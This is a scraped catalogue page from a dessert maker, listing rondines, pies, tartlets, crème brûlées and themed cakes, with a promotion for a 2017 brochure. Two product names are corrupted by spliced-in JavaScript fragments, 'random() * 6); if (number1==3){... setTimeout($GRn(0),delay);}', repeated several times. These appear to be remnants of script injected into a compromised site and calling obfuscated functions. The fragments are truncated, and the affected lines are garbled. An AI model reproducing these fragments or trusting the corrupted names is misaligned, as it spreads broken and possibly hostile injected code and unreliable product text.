Créations Archive - Fins Gourmands

The bases
The classics
The cremes brulees
The distinguished
The elegant
the florals
The ovales
The pies
The rondines
The sculpturals
The tartlets
The themes

CHOCOLATE AND CARAMEL CHRISTMAS BALL The themes
Decadent Chocolate Rondine The rondines
Cheese dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Chocolate Rondine The rondines
Praline Rondine The rondines
Albatross Rondine The rondines
70% Chocolate dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Caramel Rondine The rondines
70% Chocolate And Creme Brulee Rondine The rondines
Vanilla Gift Event The themes
WHITE CHOCOLATE MOUSSE AND CRANBERRY LONG LOG The themes
HOMADE CARAMELIZED MAPLE SUGAR TARTLET The tartlets
CREME BRULEE CHOCOLATE – REFILL The cremes brulees
PORCELAINE CHOCOLATE CREME BRULEE The cremes brulees
EXOTIC MANGO RONDINE The rondines
RASPBERRY & PASSION FRUIT CREME BRULEE RONDINE The rondines
TIRAMISU RONDINE The rondines
CRUNCHY CHOCOLATE RONDINE The rondines
CHOCOLATE CREME BRULEE TULIP the florals
ASSORTED PIE (CUT IN 16 PEICES) The pies
APPLE AND CRUMBLE PIE (SLICED 16 PIECES) The pies
APPLE AND CRUMBLE PIE (SLICED 16 PIECES) The pies
LEMON AND CHOCOLATE PIE (SLICED 16 PIECES) The pies
CHOCOLATE GANACHE AND CARAMEL PIE The pies
APPLE AND CRUMBLE PIE The pies
YESTERDAY CARAMELIZED SUGAR CREAM PIE The pies
LEMON AND CHOCOLATE PIE The pies
APPLE & YESTERDAY SUGAR PIE The pies
CHOCOLATE GANACHE AND CARAMEL (SLICED 16 PIECES) The pies
APPLE AND SUGAR SQUARE TARTLET The tartlets
CHOCOLATE AND CARAMEL TARTLET The tartlets
LEMON AND MERINGUE SQUARE TARTLET The tartlets
MAPLE AND CARAMEL CHRISTMAS BALL The themes
70 % CHOCOLATE MOUSSE AND CREME BRULEE LONG LOG The themes
CHOCOLATE MOUSSE AND CARAMEL DÉCADENT OVALE The ovales
BLUEBERRY AND WHITE CHOCOLATE MOUSSE OVAL CAKE The ovales
ELEGANT STRAWBERRY AND LEMON The elegant
CHOCOLATE CRUNCHY ELEGANT The elegant
TRIPLE CHOCOLATE ELEGANT MOUSSE STRIPS The elegant
MAPLE AND CARAMEL DISTINGUISHED The distinguished
DISTINGUISHED STRAWBERRY & WHITE CHOCOLATE The distinguished
DISTINGUISHED CRUNCHY CHOCOLATE The distinguished
TIRAMISU DISTINGUISHED The distinguished
CREME BRULEE VANILLA LOW PROFILE – REFILL The cremes brulees
CREME BRULEE VANILLA REFILL The cremes brulees
PORCELAINE MAPLE CREME BRULEE The cremes brulees
VANILLA CREME BRULEE PORCELAIN RAMEKIN The cremes brulees
CHOCOLATE & RASPBERRY POINTED CONE The sculpturals
THREE CHOCOLATES POINTED CONE The sculpturals
CREAM CHEESE MOUSSE AND CHOCOLATE BROWNIE The bases
CHOCOLATE AND CREME BRULEE SAPHIRE ON A BROWNIE The bases
DECADENT CHEESE AND SMALL BERRY CAKE The classics
PEAR AND CHOCOLATE MOUSSE CAKE The classics
CHOCOLATE AND HAZELNUTS MOUSSE CAKE The classics
THREE FIELD BERRY MOUSSE CAKE The classics
MAPLE AND CARAMEL MOUSSE CAKE The classics

The easiest
portions
to serve

Treat your selfishly enthusiast clients Our creations, your brand

Brochure 2017

Download it in pdf version

The easiestportionsto serve

Treat your selfishly enthusiast clients Our creations, your brand

Brochure 2017

Download it in pdf version

The easiest
portions
to serve